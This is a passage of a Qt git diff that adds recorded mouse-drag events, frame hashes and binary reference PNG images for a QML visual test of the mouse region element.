+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 458; y: -9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5600 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 452; y: -3 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5616 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 446; y: 4 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 439; y: 11 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5632 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 432; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5648 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 424; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5664 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 413; y: 42 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 400; y: 59 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5680 + hash: "9bc8a652f43c0e3cae9492f5dff624e7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 392; y: 70 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 385; y: 79 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5696 + hash: "5465128afe72d9618cd9abc47f4ce72f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 378; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5712 + hash: "ad739c2028caf8f89d8ae04d509c7854" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 366; y: 102 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 353; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5728 + hash: "97cd37f639a7bea76a2f68774c0753db" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 339; y: 126 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5744 + hash: "d24fc8a57dd34e6ddb726426247ec219" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 324; y: 140 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5760 + image: "drag.5.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 308; y: 158 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 288; y: 181 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5776 + hash: "7af87eb80fa9d87fe8d8b5e4a2fff5e1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 266; y: 208 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5792 + hash: "73623f4a857fd4d5150c2eeef1341540" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 243; y: 237 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5808 + hash: "076c4b60d9ec197950ade51e3f1be791" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 265 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 191; y: 291 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5824 + hash: "22b7d7765c634763fa86912ea262efca" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 167; y: 314 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5840 + hash: "1267c017931bda0b88b4672f46d499e0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 147; y: 331 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5856 + hash: "b6a545e4c14b809f4ebcffbcb59a8e4f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 132; y: 344 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 121; y: 354 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5872 + hash: "b1085cb508d4613c76e99bc879c62cbf" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 363 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5888 + hash: "365fd1260c2109e6d5bd0a97ce3a7e4e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 370 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5904 + hash: "3a7d001313b23cbbb7f3d842ab40f41b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 86; y: 377 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 66; y: 385 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5920 + hash: "c5bda48bb2eaee54d6d8416592830327" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 45; y: 394 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5936 + hash: "5d0fd6d8a6ced4f197fe3b09e7e9155b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 29; y: 402 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5952 + hash: "79e2825f98644c061ae5216ae1823e4b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 16; y: 410 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 6; y: 417 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5968 + hash: "22a3978f2f3a0cde67f459527af3b3f2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 0; y: 422 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 427 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5984 + hash: "1511bec94911dd272f78a726e15bf76e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 432 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6000 + hash: "0f892f7e570cdc703e492248c9f54b6c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 439 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6016 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 447 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 452 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6032 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 457 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6048 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 459 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6064 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 464 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 465 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6080 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 467 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6096 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 468 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6112 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 468 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 468 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6128 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 468 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6144 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 468 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6160 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 469 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 470 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6176 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 470 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6192 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Frame { + msec: 6208 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 470 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6224 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -3; y: 470 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -3; y: 470 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6240 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -2; y: 470 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6256 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -1; y: 470 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6272 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -1; y: 468 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 0; y: 467 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6288 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 0; y: 464 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6304 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 0; y: 458 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6320 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -3; y: 441 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 408 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6336 + hash: "58413f9b01f1e0b49519d8b6a3011607" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 366 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6352 + hash: "b3992d2f9c1383c710ee325a94117a8b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 327 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6368 + hash: "bd415044fcf6218d8184cb0206105e65" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 300 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 288 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6384 + hash: "e7296140fe8b28bed77e95e588c0e463" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 280 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6400 + hash: "9ff532223ccccd663809187465e478c2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 276 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6416 + hash: "4de9ca75503db05df5d8274d75c202e5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 271 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 259 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6432 + hash: "a83b5bc409207e986055081b4ed3faa6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 227 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6448 + hash: "7fdbd00dd3553241f30fd6568a8ab646" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 190 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6464 + hash: "5ebaa67eaadc1ede8c46964fa1dffff1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 169 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -2; y: 160 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6480 + hash: "de4bd9ad3cbb9bb19bf75f871b044072" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 1; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6496 + hash: "9d762cd4dd6508cf8b54c47b76f4ef37" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 5; y: 155 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6512 + hash: "bdf17c384f4f824a89a06b88ba17c15f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 10; y: 154 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 25; y: 152 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6528 + hash: "f279f28995785afd143726aef7673b50" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 52; y: 149 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6544 + hash: "53b6b82a61d017e12afb01a728d8d856" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 80; y: 148 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6560 + hash: "9a48039175cab1360a0cf5cc195e2082" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 98; y: 148 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 112; y: 150 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6576 + hash: "cfc3991e30eef6c2edb66cb6060b2bde" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 123; y: 153 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6592 + hash: "737d8907f62768e623ba76866a509d1e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 134; y: 155 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6608 + hash: "dea2a596f7d85f29728b33d126d997e5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 145; y: 158 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 161 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6624 + hash: "3969a0bbb284ab1d5efd20cf93b0422d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 168; y: 164 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6640 + hash: "071ff25e49f7f16a727ff58c42ff766e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 169 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6656 + hash: "454abec991a4675763f379c256919fa7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 184; y: 173 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 189; y: 177 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6672 + hash: "6de741c4e6057dc8580106155c4ac627" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 194; y: 184 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6688 + hash: "e35853e99cd205b7ccabdf632b238584" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 199; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6704 + hash: "15a70a0196227c6bce50ed70cd6383c8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 204; y: 201 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 211; y: 210 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6720 + image: "drag.6.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 217 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6736 + hash: "5e951eb6017a060287e398fcaf4aeba9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 224; y: 223 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6752 + hash: "ddd0f27027e23a45aef131296c781865" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 235; y: 228 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 246; y: 232 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6768 + hash: "715102a252756e5a8c4f459d808aec6a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 257; y: 235 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6784 + hash: "42b9c1b894247ddbd85f4a4aca5695f1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 267; y: 239 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6800 + hash: "b67b4bdd412ed5160901803c60c6f19e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 275; y: 239 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 280; y: 239 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6816 + hash: "3490cc41c2b1f9301c209bdb8f052add" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 281; y: 239 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6832 + hash: "df32868d564ebbc41c359409b5a69e7d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 282; y: 239 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6848 + hash: "b9cb430a6f677e67c87322e0aff53fb1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 282; y: 239 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6864 + hash: "b9cb430a6f677e67c87322e0aff53fb1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 281; y: 239 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6880 + hash: "df32868d564ebbc41c359409b5a69e7d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 280; y: 239 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6896 + hash: "3490cc41c2b1f9301c209bdb8f052add" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 279; y: 240 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6912 + hash: "e23a88f49a73cd2a9326095dd380ab55" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 277; y: 240 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6928 + hash: "ffffc1aed27fe77c2fe5c035eab706a9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 277; y: 240 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6944 + hash: "ffffc1aed27fe77c2fe5c035eab706a9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 276; y: 240 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6960 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 276; y: 240 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6976 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 6992 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 276; y: 240 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7008 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7024 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7040 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7056 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7072 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7088 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7104 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7120 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7136 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7152 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7168 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7184 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7200 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7216 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7232 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7248 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7264 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7280 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7296 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7312 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7328 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7344 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7360 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7376 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7392 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7408 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7424 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7440 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7456 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7472 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7488 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7504 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7520 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7536 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7552 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7568 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7584 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7600 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7616 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7632 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7648 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7664 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7680 + image: "drag.7.png" + } + Frame { + msec: 7696 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7712 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7728 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7744 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7760 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7776 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7792 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7808 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7824 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7840 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7856 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7872 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7888 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7904 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7920 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7936 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7952 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7968 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 7984 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } + Frame { + msec: 8000 + hash: "2c1ce07ab6ce0072f6cb205f1e5297e0" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.0.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.0.png new file mode 100644 index 0000000..c249c21 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.1.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.1.png new file mode 100644 index 0000000..a96bf1b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.10.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.10.png new file mode 100644 index 0000000..7420ca7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.10.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.11.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.11.png new file mode 100644 index 0000000..7420ca7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.11.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.12.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.12.png new file mode 100644 index 0000000..7420ca7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.12.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.13.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.13.png new file mode 100644 index 0000000..7420ca7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.13.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.14.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.14.png new file mode 100644 index 0000000..7420ca7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.14.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.15.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.15.png new file mode 100644 index 0000000..e797cc9 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.15.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.16.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.16.png new file mode 100644 index 0000000..7951309 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.16.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.17.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.17.png new file mode 100644 index 0000000..7951309 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.17.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.18.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.18.png new file mode 100644 index 0000000..7951309 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.18.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.19.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.19.png new file mode 100644 index 